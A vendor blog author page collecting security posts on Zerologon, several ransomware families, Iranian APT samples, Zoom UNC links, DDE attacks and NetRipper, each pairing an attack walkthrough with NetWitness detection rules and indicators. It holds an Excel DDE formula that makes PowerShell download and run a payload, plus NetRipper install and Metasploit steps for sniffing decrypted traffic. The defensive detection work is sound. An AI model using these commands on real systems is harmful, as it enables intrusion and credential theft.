Skip navigation
All Places > Products > RSA NetWitness Platform > Blog > Author: Halim Abouzeid

RSA NetWitness Platform

15 Posts authored by: Halim Abouzeid Employee

Zerologon (CVE-2020-1472) is a vulnerability with a perfect CVSS score of 10/10 being used in the wild by attackers, allowing them to gain admin access to a Windows Domain Controller.

 As more public exploits for this vulnerability are being published, including its support within mimikatz which is widely used, it’s expected to see even more attacks leveraging this vulnerability, and it's therefore crucial to be able to detect such attempts.


In this post we will see how this vulnerability can be exploited using mimikatz to gain administrative access to a Windows Domain Controller running on Windows Server 2019, and how the different stages of the attack can be identified by the RSA NetWitness Platform, leveraging Logs, Network and Endpoint data. This will include exploiting the Zerologon vulnerability, followed by the creation of golden tickets, and finally gaining admin access to the domain controller via a pass-the-hash attack/


We will assume that the attacker already has an initial foothold on one of the internal workstations, and now wants to move laterally to the domain controller.



Step 1


The attacker downloads “mimikatz” on the compromised system using the “bitsadmin” command.



RSA NetWitness Endpoint

The executed command is detected by RSA NetWitness Endpoint and tagged as remote file copy using BITS. The exact target parameters are also provided, allowing to see from where the file was downloaded (identifying the attacker’s server) as well as the location of the downloaded file. In addition, mimikatz being a known malicious file, we are able to tag the event accordingly.




RSA NetWitness Network

And the resulted network session is captured by RSA NetWitness Network, identifying the client application as Microsoft BITS as well as the downloaded file (mimikatz.exe). If needed, the session can be reconstructed to extract the file for further forensics.






Step 2


The attacker launches mimikatz, and tests whether the domain controller is vulnerable to the Zerologon vulnerability.


As the domain controller is vulnerable, the attacker executes the exploit.



RSA NetWitness Network

We know that the exploit starts with a “NetrServerReqChallenge” and spoofs the “NetrServerAuthenticate” with 8x ‘0’s (as seen in the previous screenshot). We also know that it takes an average of 256 of such attempts for the attack to be successful.

This consequently leads to the following:

  • We expect to see “NetrServerReqChallenge” and “NetrServerAuthenticate”
  • Due to the large number of attempts, we expect the size of the session to be larger than other similar connections
  • The session to contain lots of 0's


 In fact, by looking at the captured network session, we can see these indicators tagged by RSA NetWitness.


As seen in the above screenshot

  • The session is related to netlogon (as the vulnerability targets this service)
  • We can see both “NetrServerReqChallenge” and “NetrServrAuthenticate” within the session
  • The most common byte (MCB.REQ) is “0”
  • The size of the payload is around 200KB
  • As we also have the RSA NetWitness Endpoint agent installed on the workstation, we can link the captured network session to the process that generated this connection, in this case “mimikatz.exe”


Using this information, the use of this exploit could be identified with the follow Application Rule:

service=135 && filename='netlogon' && action begins 'NetrServerAuthenticate' && action='NetrServerReqChallenge' && mcb.req=0 && size>40000



RSA NetWitness Logs

A successful attack would lead to the domain controller’s password being changed. This can be identified within the Windows Logs based on the following criteria:

  • Event ID: 4742 (A computer account was changed)
  • Source User: Anonymous logon
  • Destination User: ends with “$” sign
  • Hostname: specify your domain controllers




The following Application Rule / Query could be used for this detection:

device.type='windows' &&'4742' && user.dst ends '$' && user.src='anonymous logon'






Step 3


Once the attacker successfully exploits the domain controller, he now has access to it with replication rights. He can now use the “dcsync” feature of mimikatz to mimic the behavior of a domain controller and request the replication of specific users to get their password hashes. This can be done to get the password hash of the Administrator account as seen in the below screenshot.




RSA NetWitness Network

User Replication is requested using the “GetNCChanges” function, which would result in the domain controller providing the account hashes. This behavior can be seen based on the captured network traffic.



This behavior should me monitored and alerted on when initiated from an IP or subnet not expected to perform domain replication.


The following is a rule that can identify this behavior, it should be fine-tuned to exclude IP addresses that are expected to have this behavior:


action = ‘drsgetncchanges’ && ip.src != <include list of approved IP addresses>



RSA NetWitness Logs

This would also generate Windows Logs with the event ID 4662, but by default this log doesn’t provide enough granularity to avoid having too many false positives and is therefore not recommended to be used on its own as a detection mechanism.






Step 4


The attacker then gets a golden ticket with a validity of 10 years for the Administrator account.


He is then able to use the ticket in a pass-the-hash attack.


He is now able to get shell access to the domain controller without the need for authentication and executes couple of commands to confirm he is connected to the Domain Controller (hostname, whoami ...).




RSA NetWitness Logs

The attacker gained shell access by using PsExec. This leads to the creation of a service named “psexesvc” on the domain controller that can be detected with Windows Logs and is tagged as a pass-the-hash attack by RSA NetWitness as seen below.



RSA NetWitness Network

Leveraging network data can uncover more details.

As seen in the below screenshot, we can identify:

  • The use of the “Administrator” account to login over SMB
  • The use of Windows admin shares
  • The transfer of an executable within one of the sessions (psexe)
  • The creation of a service (psexesvc)




RSA NetWitness Endpoint

The initial execution of “cmd.exe” by PsExec on the Domain Controller to gain the shell access can easily be identified by RSA NetWitness Endpoint.


Any other command executed by the attacker after he gets shell access would also be identified and logged by RSA NetWitness Endpoint, with the ability to track which commands have been executed, and by which processes they have been launched, providing a full picture of how and what the attacker is doing on the domain controller.





When dealing with such attacks and breaches, which often blend in within normal noise and behaviors, it becomes evident that the need for a rich data set based on a combination of Logs, Network and Endpoint is critical to both detect the breach as well as to identify the full scope of the breach from start to end, for each step done by the attacker.

Having visibility over East/West network traffic with rich metadata has also brought lots of value when compared to just relying on logs to detect and investigate more efficiently this attack. With the release of the RSA NetWitness Platform v11.5 it is now possible to setup policies to define for which network traffic to keep/drop the full payload in addition to the meta data, allowing to do east/west network capture in a more efficient way.

The Maze ransomware has recently been making the news due to some high-profile infections. In addition to requesting, in some instances, ransoms of 6+ million USD to regain access to the files, the group behind the malware has also leaked some of these files if the ransom was not paid.


In this post, we will look at the detected behaviors and IOCs from the Maze ransomware as identified by RSA NetWitness Endpoint and Network.


The following is the malware sample tested within this post.

SHA256: fc611f9d09f645f31c4a77a27b6e6b1aec74db916d0712bef5bce052d12c971f




Execution of Maze

When the victim gets infected, he will 1st notice that some of his open applications, such as Word and Excel, will get closed. After some time, once the execution of the ransomware is completed, the user’s background will be changed as seen in the below screenshot, instructing the victim to pay the ransom.




The victim can also notice a new text file on his folder (which would get automatically open at reboot). The file provides the detailed instructions on how to do the payment.






RSA NetWitness Endpoint


By leveraging RSA NetWitness Endpoint, we can look at the behavior of the malware on the victim’s machine.

If we first look at the overall details for that specific workstation, we can see:


  • An elevated overall risk score (93)
  • Some specific suspicious behaviors, such as
    • Deletes Shadow Volume Copies: this is a typical ransomware technique to stop the victim from restoring his files
    • Run/Writes Malicious File by Reputation Service: the ransomware itself has a known malicious hash value
    • Floating Module: might be loading DLLs in memory



By going to the list of processes, we can see the “maze.exe” file (the filename could be different) with a risk score of 76 based on its behavior on the system, and with a known reputation of “Malicious” based on the file hash value.



If we then look at the loaded libraries, we can see that in fact, the ransomware has loaded a DLL in memory:



If we then look at the files to run at startup, we can see that the text files have been added to the startup folders, to get automatically opened at startup and display the payment instructions for the user:



If we finally look at the overall behavior of the ransomware on the system:

  1. The ransomware is executed
  2. It closes Excel
  3. It loads the DLL in memory
  4. It communicates over the network with multiple public IP address (more details in the RSA NetWitness Network part)
  5. It deletes the shadow copies
  6. All the multiple readDocument actions are the ransomware encrypted all the user’s documents





RSA NetWitness Network

By leveraging RSA NetWitness Network, we can then look at the behaviors the ransomware has done from the network’s perspective. In addition, from the Endpoint side, we already know and have confirmed that the ransomware has initiated connections to the Internet.


By filtering on outbound traffic over HTTP, we can identify multiple suspicious behaviors.



  • Based on the user agent, the tool used to generate those sessions advertises itself as being IE 11 on Windows 7 (this doesn’t HAVE to be true). Being from IE11 would indicate that we should expect these connections to be from a human/browser, and not from a tool/script/application…
  • Direct to IP connections, without a hostname. Even though this can be normal (specially when done to private IP addresses within the local network), it is more suspicious when done over the Internet as it is unlikely for a user to remember public addresses and directly input them in the browser’s address bar (which would be what the tool wants us to believe as it advertised itself as IE11).

  • The lack of a referrer header. This header usually includes the previous page that linked to this one. Especially when dealing with direct to IP requests, having a referrer would be needed, as a user doing such a request because he followed a link could be seen as more normal compared to the user directly typing public IP addresses.

  • HTTP Post methods without Gets. This is also a suspicious behavior when dealing with HTTP sessions initiate by a human/browser. Typically for a user to “POST” data to a website, he first needs to request and “GET” a webpage that includes a form. Directly posting data is unusual for a human and is usually expected only from tools/applications/APIs …



We can then go to the session reconstruction view to look in more details at one of those sessions.


By reconstructing the session, we can:

  • Identify again the user-agent, which can be used as an IOC to identify other infected machines
  • The “Host” field having an IP address instead of a hostname, as it should be expected
  • Missing expected headers, such as a referrer
  • The Entropy meta (between 0-10,000) showing a high entropy level for the request. Entropy allows us to do statistical analysis on the payload and assess how randomized it is. Low entropy would indicate clear-text content, while high-entropy would indicate encrypted content. An encoded payload would be somewhere in between. When using HTTP, which is a clear-text protocol, we would expect either clear-text, or in some cases encoded payloads. A user, through a (supposed) browser connection, wouldn’t be expected to post highly random/encrypted payloads.


A combination of these different indicators does lead to identifying these suspicious network sessions initiated by the ransomware, including:

  • Direct to IP requests
  • Missing headers (referrer)
  • Post without Get HTTP methods
  • High entropy for a clear-text protocol





Indicators of Compromise

The below as some IOCs that could be used on RSA NetWitness Network and Endpoint to identify potential Maze infections in your environment. It should be noted that these are based on the specific variant tested as part of this post, and these could vary for different variants. It’s usually recommended to leverage behaviors and techniques instead of specific signatures, such as the ones discussed in this post under the RSA NetWitness Network and Endpoint sections, which would allow to overcome changes in specific signatures.


File Hash

MD5: e69a8eb94f65480980deaf1ff5a431a6

SHA-1: dcd2ab4540bde88f58dec8e8c243e303ec4bdd87

SHA-256: fc611f9d09f645f31c4a77a27b6e6b1aec74db916d0712bef5bce052d12c971f


IP Addresses


Domain Names (the malware doesn’t initiate connections there, but this is where the victim needs to go to for the payment/more info)




Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko



With the sudden surge in popularity for Zoom meetings, an increase interest has been seen by white/grey/black hats to identify potential vulnerabilities and weaknesses.

One of the recent popular security weaknesses identified is around the way a UNC path sent over Zoom chat gets interpreted as a hyperlink. If a member of the Zoom session clicks on the displayed link, this could lead to multiple risks.


If we also consider the scenarios involving zoom bombing, where an attacker can join a public session (which is the case for most Zoom sessions by default), either by obtaining the invitation link or by guessing personal meeting room names without having to be logged in, scenarios where an attacker manages to convince users to click on carefully crafted links become more probable.





Scenario 1: Interception of NTLM Password Hashes


The user receives a clickable link in the chat window. This could lead to an IP address or domain controlled by the attacker. The example shows a private IP address, but it could have been a public IP as well.


When the user clicks on the hyperlink, Windows will try to connect to the mentioned destination over SMB, sending the user’s username and NTLM password hash in the process.

As seen is the below screenshot, as the attacker has control over the destination host, he is able to capture the user's NTLM password hash.


The attacker can then use the NTLM hash value to crack the user’s password, as seen below. 






Scenario 2: Remote execution of local files


The same technique can be used to execute a local file on the victim’s machine.

In the below screenshot, the user clicks on the hyperlink, which execute the calculator. In a real scenario, something malicious could have been executed.






Scenario 3: Remote execution of a remote file/script


An attacker can use the same technique to remotely execute a malware hosted on his machine. Instead of pointing to a local executable, the link could point to an executable on a machine controlled by the attacker. This machine could be on the internet and doesn’t have to be on the same network. In the below example, the attacker is hosting a file named “YGH.exe” on his SMB server.



In this scenario, the victim would get a warning message, but it’s safe to assume that some users would click on “Run”, and the YGH.exe file would get executed without any additional actions needed from the user's end.



In this example, the malware only shows a popup message. In a real attack, an actual malware could have been executed.






Detection of these behaviors

It's possible to easily identify these behaviors with the right visibility into network traffic and endpoint data. The below are ways to identify such instances using RSA NetWitness Network and RSA NetWitness Endpoint.



RSA NetWitness Network



  • Filter on direction = ‘outbound’ && service = 139 to look for outbound SMB session leaking to the internet. Do not base your filter on the TCP destination port, as the attacker doesn’t have to use the standard SMB port. Leveraging “service”, which identifies the service based on the content of the network payload instead of the advertised port numbers, allows to account for these scenarios.
  • Monitor where the traffic is going to and if this is expected or not (typically, no SMB traffic should go out)
  • Identify any potentially risky files that might have been downloaded over SMB. In this case we can identify that an executable (ygh.exe) has been downloaded. We could then check if this file has been executed and what it did using RSA NetWitness Endpoint.





RSA NetWitness Endpoint

By looking at the process analysis details for the zoom.exe process, we can easily identify any executable that has been launched by zoom, in this case, YGH.exe. In a real scenario where the malware would have taken some actions, those actions, commands, ... would have been shown in this view as well.


We can also easily filter on files that have been executed from a remote path. Filters can be created to excludes expected trusted paths based on the organization’s naming convention. In this case, it shows the remote domain used by the attacker.






Some additional recommendations

  • Follow standard best practices, and don’t click on any link without verifying its authenticity
  • Block SMB traffic from going out to the Internet
    • This should be the norm in any environment
    • With the increase in people working from home where corporate firewall policies might not be enforced, this can be done on the local Windows Firewall
  • To avoid Zoom Bombing
    • Don’t use easily guessable Zoom room names
    • When possible, set a password to join meetings

It is possible to add RSA NetWitness as a Search Engine in Chrome, which allows to run queries directly from the address bar.



The following are the steps to follow in your browser to set this up.


  1. Start by navigating to your NetWitness instance on the device you want to query (typically the broker). Note the highlighted number in the address (this number identifies the device to query and varies from environment to environment).
  2. Right click in the navigation bar and select "Edit search engines..."




  1. Click on "Add" to add a new search engine
  2. Add the information for your NetWitness instance
    • Search Engine: This can be any name of your choice. This is the name that will show in the address bar when selected
    • Keyword: This is the keyword that will be used to trigger NetWitness as the Search Engine to use (initiated by typing "keyword" followed by the <tab> key)
    • URL: this should be based on the following structure: https://<netwitness_ip>/investigation/<number from 1st step>/navigate/query/%s
  3. Click on "Add" to add NetWitness as a Search Engine



Now, whenever you click on the address bar, type nw followed by the <tab> key (or whatever keyword you have chosen in the previous step), you can directly type your NetWitness query in the address bar and hit <enter> to run the query on NetWitness.





MuddyWater is a state-sponsored threat group suspected to be linked to Iran. It has mainly been targeting organizations in the Telecommunications, Government and Oil sectors across the Middle East region.

The group relied on spear phishing emails with macro infected Word documents in the past (as seen in a previous post) and has recently been using similar techniques using Excel documents in a new wave of attacks during October-November 2019.


In this post we will look at one of those Excel files used in the latest campaign and identify ways to detect it using RSA NetWitness Network and Endpoint.


The following is the file used in this article:









In a real attack, the file would be delivered via email to its target. In our case, we will manually execute it.

This particular sample must be named “Report.xls” or would fail to execute.

By opening the file, the user will get the following message telling him to enable editing and content. This is to trick the user into enabling Macros.



Once content is enabled, the following 2 files are dropped in “C:\Users\<user>\AppData\Local\Temp”.






Endpoint Visibility

By leveraging RSA NetWitness Endpoint, we can quickly see that Excel, even though a known legitimate file, has an elevated risk score based on its behavior.




By tracking the events on the endpoint, we can see the below behaviors:


  1. Excel creates the “wucj.exe” file
  2. The “wucj.exe” file is executed
  3. “wucj.exe” loads the “zdrqgswu” file, which appears to be a VB script, which leads to 2 network connections over TCP/80 to the “” domain.



By looking at the registry changes done by Excel, we can also see that a key has been created to run at startup for persistence after reboots.




If we look more closely at the “wucj.exe” file, we can notice that it is a known and valid Microsoft file. We can confirm this by searching for the hash on VirusTotal. The file is actually “wscript.exe” used to load VB scripts (which is in line with the behavior seen).





Network Visibility

In the previous steps, we have seen that the VB script has initiated a connection over TCP/80 to the “” domain.

If we look at the details of this network connection on RSA NetWitness Network, we can see that the domain is hitting one of the Threat Intelligence feeds.



If we then reconstruct the session to look at the raw data, we can identify that the malware is sending within the HTTP GET Request:

  • The username: rsa
  • The hostname: DEMO-USER-1
  • The Operating System: Windows (32-bit) NT 6.01







Indicators of Compromise

The following are some additional indicators that can be used to detect the presence of a compromise.


File Hashes





































Command & Control Domains







APT33 is a state-sponsored group suspected to be linked to Iran. It has been active since 2013 and has targeted organizations in the aviation and energy sectors mainly across the United States and the Middle East regions.

The group has recently been seen using private VPN networks with changing exit nodes to issue commands and collect data to and from their C&C servers.


In this post we will look at one of the malware files used within those campaigns and identify ways to detect it using RSA NetWitness Network and Endpoint.


The following is the file used in this article:






This specific sample is rather basic in terms of behavior, but provides both persistence to the attacker, as well as the ability to deploy other malicious files.




Endpoint Visibility

By leveraging RSA NetWitness Endpoint, we can easily identify files and processes that have an elevated risk score due to their behavior. In the below screenshot, we can clearly see that the file “MsdUpdate.exe” stands out due to both its risk score and its reputation (identified as “Malicious”). In addition, we can see that the file is not signed by any valid or trusted certificate.




By drilling into the "MsdUpdate.exe" process, we can see in the next screenshot the different actions done by the process:

  1. It modifies the registry
  2. It communicates over the network with the “” domain
  3. It copies itself to “C:\Users\<user>\Roaming\MSDUpdate\MsdUpdate.exe”





If we look in more details at the registry changes done by the file, as per the below screenshot, we can see that it modified the “Run” key to run itself at startup. This is done for persistence for the attacker to maintain access after a reboot of the machine.





Network Visibility

As seen in the previous step, we have been able to identify that the malicious file has communicated with the “” domain. By drilling into this on the Network component we can look at more details regarding this network connection.

Based on the below screenshot we can see:

  • 4 different sessions separated exactly by 10 min each, which indicates a programmatic behavior typical of beaconing activity
  • All sessions are posting data to a file named “update.php”, which also suspiciously looks like beaconing





We can then reconstruct the payload of any of the above sessions to look at its content and confirm that this is indeed beaconing activity.

As seen below, we can confirm that the query is updating an entry with a payload in hexadecimal (most likely encoded).





This shows how RSA NetWitness Network and Endpoint can help in quickly detecting, identifying and investigating such attacks based on both activity on both the endpoint and the network,





Indicators of Compromise

The following are some additional indicators that can be used to detect the presence of this malware.


File Hashes













Command & Control Domains




IP Addresses

IP Address


MuddyWater is an APT group who's targets have mainly been in the Middle East, such as the Kingdom of Saudi Arabia, the United Arab Emirates, Jordan, Iraq ... with a focus on oil, military, telco and government entities.


The group is using Spear Phishing attacks as an initial vector. The email contains an attached word document which tries to trick the user into enabling macros. The attachment's filename and its content are usually tailored towards the target, such as the language used.


In the below example, we will look at the behavior of the following malware sample:

SHA-256: bfb4fc96c1ba657107c7c60845f6ab720634c8a9214943b5221378a37a8916cd

MD5: 16ac1a2c1e1c3b49e1a3a48fb71cc74f


Filetype: MS Word Document



Endpoint Behavior

This specific malware sample is for an Arabic speaking victim targeted at Jordan, where the filename "معلومات هامة.doc" can translate into "important information.doc". Other variants contain content in Turkish, Pakistani ...


The file shows blurry text in Arabic, with a message telling the target to enable content (and therefore macros) to unlock the content of the document.


Once the user clicks on "Enable Content", we're able to see the following behaviors on RSA NetWitness Endpoint.


1- The user opens the file. In this case, the file was opened from the Desktop folder, but if it was from his email, it would have shown from "outlook.exe" instead of "explorer.exe"


2- The malware uses "rundll32.exe" to execute the dropped file (C:\ProgranData\EventManager.log), allowing to evade detection


3- Powershell is then used to decode the payload of another dropped file ("C:\ProgramData\WindowsDefenderService.ini") and executes it. Having the full arguments of the Powershell command, it would be possible for the analyst to use it to decode the content of the "WindowsDefenderService.ini" file for further analysis


4- Powershell modifies the "Run" Registry key to run the payload at startup


5- Scheduled tasks are also created 



After this, the malware will continue execution after a restart (this might be as a layer of protection against sandboxes).


6- The infected machine is restarted


7- an additional powershell script "a.ps1" is dropped


8- Some of the Windows security settings are disabled (such as Windows Firewall, Antivirus, ...)




By looking at the network activity on the endpoint, we can see that powershell has generated a number of connections to multiple domains and IPs (possible C2 domains).



Network Behavior

To look into the network part in more details, we can leverage the captured network traffic on RSA NetWitness Network.


We can see, on RSA NetWitness Network, the communication from the infected machine ( to multiple domains and IP addresses over HTTP that match what has been originating from powershell on RSA NetWitness Endpoint.

We can also see that most of the traffic is targeting "db-config-ini.php". From this, it seems that the attacker has compromised different legitimate websites, and the "db-config-ini.php" file is owned by the attacker.


Having the full payload of the session on RSA NetWitness network, we can reconstruct the session to confirm that it does in fact look like beaconing activity to a C2 server.



Even though the websites used might be legitimate (but compromised), we can still see suspicious indicators, such as:

  • POST request without a GET
  • Missing Headers
  • Suspicious / No User-Agent
  • High number of 404 Errors
  • ...





We can see how the attacker is using legitimate, trusted, and possibly white-listed modules, such as powershell and rundll32, to evade detection. The attacker is also using common file names for the dropped files and scripts, such as "EventManager" and "WindowsDefenderService" to avoid suspicion from analysts.


As shown in the below screenshot, even though "WmiPrvSE.exe" is a legitimate Microsoft files (it has a valid Microsot signature, as well as a known trusted hash value), but due to its behavioral activity (as shown in the Instant IOC section), we're able to assign a high behavioral score of 386. It should also be noted that any of the suspicious IIOCs that have been detected could trigger a real time alert over Syslog or E-Mail for early detection, even though the attacker is using advanced techniques to avoid detection.




Similarly, on the network, even though the attacker is leveraging (compromised) legitimate sites, and using standard known protocols (HTTP) and encrypted payloads, to avoid detection and suspicion, it is still possible to detect those suspicious behaviors using RSA NetWitness Network, and look for indicators such as Post no Get, suspicious user agents, missing headers, or other anomalies.






The following are IOCs that can be used to look if activity from this APT currently exists in your environment.

This list is not exhaustive and is only based on what has been seen during this test.


Malware Hash

SHA-256: bfb4fc96c1ba657107c7c60845f6ab720634c8a9214943b5221378a37a8916cd

MD5: 16ac1a2c1e1c3b49e1a3a48fb71cc74f



  • ipripak,org


IP Addresses


A new variant of the SynAck ransomware has been seen in the wild using Process Doppleganging to evade detection. The malware has been seen in multiple geographies, including USA, Europe and the Middle East.


The blog below shows how RSA NetWitness Endpoint is able to detect the malicious behavior of SynAck even when the malware is using evasion techniques.


After getting infected with the malware, RSA NetWitness Endpoint, based on the detected behaviors of the malware, assigned a high risk score to the inftected machine (in this case, a score of 835 out of a maximum of 1024).



If we then look at the modules that are part of the malware, we can see:

- synack.exe with a high IIOC score, high Risk Score and a hash reputation tagged as "Malicious"

- Memory DLLs with high risk IIOC and Risk scores, which are the code loaded in memory to evade detection

- The text file that shows up to the victim once infected, also with a high IIOC score due to its behavior (set to be opened at startup)


The triggered behaviors by these processes can be seen below:


From this list we can point out a few, such as:

- "Suspected thread & Floating module", which as mentioned earlier refers to the DLLs loaded in memory to evade detection (but detected by RSA NetWitness Endpoint)

- "Autorun", this behavior is due to the readme file to display the directions to the victim on how to pay the ransom, as well as a copy of the msiexec.exe file with a valid Microsoft signature and hash stored in the App Data directory and set to run at startup


By looking at more details about the autorun settings in scanned data, we can see exactly what is configured to run at startup.



As for the Memory DLLs loaded by msiexec.exe showing in the Suspicious Threads:




If we now look at the information we have around the msiexec.exe module, we can see that even though it has a valid signature from Microsoft, its score has been increased by RSA NetWitness Endpoint due to multiple suspicious behaviors, such as:

- It's location in an unusual folder

- It modifies the registry key to run at startup

- Accesses a large number of documents in a short period of time (which is typical of ransomware due to the encryption of all the file)



By checking the path of msiexec.exe we can see that it is located in 2 locations, 1 of which is unusual (in "\AppData\Roaming\").



If we look at the tracking data we have for the malware, we can see the following behaviors.

1- the malware is manually executed

2- it then checks for running processes

3- it copies "msiexec.exe" to the "\AppData\Roaming\" folder

4- it kills excel.exe (which is one of the processes it watches to kill. among a longer list of 100+ processes)

5- it deletes the original dropper

6- it starts encrypting the documents

7- it modifies the run registry key to open a text file with the instruction on how to pay the ransom every time the workstation starts

8- it continues encrypting the documents

9- it opens the text file with the instructions on how to pay the ransom


The following is the message displayed to the user once the infection is completed.




This shows how RSA NetWitness Endpoint can detect an infection, and track behaviors of that malware, even when using advanced technique to evade detection.

BadRabbit is a new ransomware that has been targeting unsuspecting victims across Eastern Europe.  Upon infection, the malware tries to spread laterally via SMB and by trying to dump passwords using mimikatz.  It will then encrypt documents on the local machine, modify the MBR and reboot the machine making it impossible to boot without paying the ransom.


The following are examples of the visibility an enterprise that has RSA NetWitness Endpoint and Packets would have when a machine gets infected.


1st, from the perspective of RSA NetWitness packets, it is possible to see the SMB traffic generated by the infected machine, trying to login using a set of hard coded usernames and passwords (full list available here: BadRabbit credential dictionary - ).


From the perspective of RSA NetWitness Endpoint, we can see the following:


We can identify the modules part of the attack.

- B4DD.tmp is a version of mimikatz to dump passwords using lsass.exe

- cscc.dat is a valid tool used for the encryption

- shutdown.exe is used by the malware to restart the machine


By analyzing those modules we can get bit more details.

For example, by analyzing dispci.exe we can see the extensions it looks for encryption:


As well as some of the encryption/decryption messages that would eventually popup to the user:


If we then look  at the triggered IIOCs and behaviors:

1- The malware is reading a large number of documents in a short period of time (typical ransomware behavior)

2- Reported as malicious by the reputation service (Reversing Labs)


If we want to look at more details for what has happened, we can look at the tracking data:

1- the different modules needed by the malware are dropped to disk

2- it removes any previous tasks installed by the malware (notice the name of the tasks referencing the names of the dragons in Game of Thrones)

3- new scheduled tasks are added to run the encryption with the victim's ID and then shutdown the machine

4- we then see B4DD.tmp (mimikatz) accessing lsass.exe to try and dump credentials

5- it then access all the documents with extensions that matches to get encrypted


6- it then deletes logs and events

7- and finally removes/adds scheduled tasks to restart the machine


Once the machine gets restarted, the victim is not able to boot to Windows and gets the following message:



This shows how RSA NetWitness Packets and Endpoint can help get early notification and detection for new breeds of malware without relying on known signatures, and how they can be used to easily look for IOCs and indicators to quickly respond and identify compromised machines.


Some Indicators that can be used

File Hashes:

de5c8d858e6e41da715dca1c019df0bfb92d32c0 (install_flash_player.exe)
afeee8b4acff87bc469a6f0364a81ae5d60a2add (dispci.exe)
79116fe99f2b421c52ef64097f0f39b815b20907 (infopub.dat)
413eba3973a15c1a6429d9f170f3e8287f98c21c (Mimikatz 32bit)
16605a4a29a101208457c47ebfde788487be788d (Mimikatz 64bit)





Usernames/Passwords (SMB):

BadRabbit credential dictionary - 

There has recently been a reappearance of a method used to execute commands via malicious Excel files (and other office documents) without the need of Macros.

The method uses Dynamic Data Exchange (DDE), and what makes it interesting is that, even though it does causes prompt messages to appear, it doesn't use Macros and therefore it is less likely to be detected and blocked, and users are more likely to accept the prompts. In addition, as this is a "feature" and not a vulnerability, it is not something that will be patched, and cannot be easily prevented and blocked.


We will see how to perform a sample attack using DDE and then how easily it can be detected with RSA NetWitness Endpoint.


DDE Sample Attack

To execute a command using DDE, all we have to do is create an Excel file and use the following formula in one of the cells:

=cmd|' /c notepad'!A0

Once the user opens the file and accepts the prompts, notepad.exe will be launched.


To make the attack more interesting, we want to use the same method in conjunction with PowerShell to download and execute our payload (the payload "YGH.exe" is hosted on the "" server):

=cmd|'/c powershell.exe -w hidden (New-Object System.Net.WebClient).DownloadFile(\"\",\"c:\\Users\Public\\YGH.exe\");Start-Process \"c:\\Users\\Public\\YGH.exe\"'!A0


Once the victim opens the file, this is what he sees:


After accepting the 1st warning message, he sees a 2nd warning:


And finally the payload gets downloaded and executed:



In a real life scenario, the malware would have done something more stealthy, or provided remote access to the attacker instead of displaying a message.





Detection Using RSA NetWitness Endpoint

Now, from the RSA NetWitness Endpoint view, this would be detected very easily.


  1. IIOCs are triggered for Office running PowerShell and PowerShell downloading content. This could be used to generate real-time alerts via email and/or Syslog and get notified at an early stage of the attack.
  2. Excel is executed
  3. Excel launches "cmd.exe". From the command arguments we can see that cmd is used to launch powershell to download and execute a file called "YGH.exe" from the "" server.
  4. PowerShell saves the YGH.exe file to disk
  5. PowerShell executed the YGH.exe file




This shows how an attack vector that can easily bypass traditional preventive solutions can be detected by RSA NetWitness Endpoint based on the monitored behavior of the user's workstation.

This has been detected even though Excel is an approved software with a valid trusted signature and the malware itself didn't perform any malicious activity (it only shows a message to the victim). It demonstrates early detection capabilities based on behavior before negative impact actually happens.

In this post, I will quickly go through some aspects of the WannaCry ransomware from the perspective of RSA NetWitness Endpoint and Packets. This would allow to help detect, investigate and analyze such compromises.



If we first look at the modules dropped by the malware, we can see 5 main modules.

4 of the modules are labeled as "Malicious" based on the reputation database.

We can also see that all of them have a relatively high IIOC score.


If we look at the below triggered IIOCs which caused those scores, we can see some behaviors typical of ransomware:

- "Deletes shadow volume copies" (to stop the recovery of encrypted files)

- "Rapidly reads multiple documents" (triggered during the encryption of the documents)

- "Modifies run key"(to run at startup)

- "Beacon" (due to communication with C2)



If we now analyse the @WannaDecryptor@.exe file (right click, Analyse Module), we can see some artifacts that can help us understand the behavior, such as:

- References to the generation of encryption keys ("CryptGenKey")

- Hard-coded commands, such as the deletion of the shadow volume copies using vssadmin


- Or even the list of file extensions the WannaCry ransomware looks for to encrypt



Now, to look how the WannaCry ransomware infects the machine, we can look at the tracking module, having visibility over the command line arguments as well, and check the behavior in chronological order:

- (1) It first drops the payloads

- (2) It then sets the directory as hidden (as reflected in the triggered IIOCs seen earlier) using "attrib.exe"

- (3) It grants full access to all users using "icacls.exe"

- It writes and executes a batch file and a vbs script

- (4) Documents start to get encrypted


If we continue looking at the behavior tracking, we can see that the malware starts copying the @WanaDecryptor@.exe file to multiple locations on disk:



Finally, once the encryption is completed, it does the following:

- (1) It executes the @WanaDecryptor@.exe file which displays the warning message and countdown to the user

- (2) It drops the files needed to run tor.exe, which is used to communicate with the C2

- (3) It modifies the run registry key

- (4) It deletes the shadow volume copies




If we now have a look from RSA NetWitness Packets' perspective, we can easily and quickly identify the following based on the default parsers and RSA Live Feeds:

- Tunneling using tor (in "Risk: Suspicious")

- Identify access to the tor network, C2 and Crimeware (in "Threat Category")

- The use of SMB and Netbios which is used by the malware to propagate itself

- Access to suspicious looking domain names



It would also be possible to reconstruct those sessions if needed.

NetRipper is a post exploitation tool targeting Windows systems which uses API hooking in order to intercept network traffic and encryption related functions from a low privileged user, being able to capture both plain-text traffic and encrypted traffic before encryption/after decryption.


Basically, this can allow the attacker to sniff HTTPS and SSH traffic from his target in clear-text. This can help the attacker acquire additional information, such as usernames and passwords from the user once he authenticates to web applications (over HTTPS) or network devices (over SSH).


In this example we will see how to perform this attack using NetRipper (assuming that the attacker already has a meterpreter shell), and then see how RSA NetWitness Endpoint can help in detecting such attacks.

Throughout the POC, the victim had a fully patched version of Windows as well as an updated antivirus running (McAfee).



We are using:

- Kali Linux as the Attacker's machine

- Windows 7 with McAfee Antivirus as the victim (the same technique would work on Windows 10 as well)




Installation of NetRipper for Metasploit on Kali

Run the following commands on the Kali box to install NetRipper and make it available within Metasploit.

cp netripper.rb /usr/share/metasploit-framework/modules/post/windows/gather/netripper.rb
mkdir /usr/share/metasploit-framework/modules/post/windows/gather/netripper
g++ -Wall netripper.cpp -o netripper
cp netripper /usr/share/metasploit-framework/modules/post/windows/gather/netripper/netripper
cd ../Release
cp DLL.dll /usr/share/metasploit-framework/modules/post/windows/gather/netripper/DLL.dll




Launch the Attack

We will assume that the attacker already has a meterpreter shell.


The attacker can connect to the available session using "session -i 1" and he can then list running processes using "ps"

From here he can identify that firefox.exe and putty.exe are running.

The attacker will now decide to use NetRipper to sniff network traffic from firefox in clear-text, even when HTTPS is used.


He will load NetRipper by using the following command: use post/windows/gather/netripper

He can list the options needed with: show options


The attacker needs to:

- set the session ID to use (session 1 from the list of available sessions): set SESSION 1

- set the process names or process IDs he wants to hook to: set PROCESSNAMES firefox.exe,putty.exe

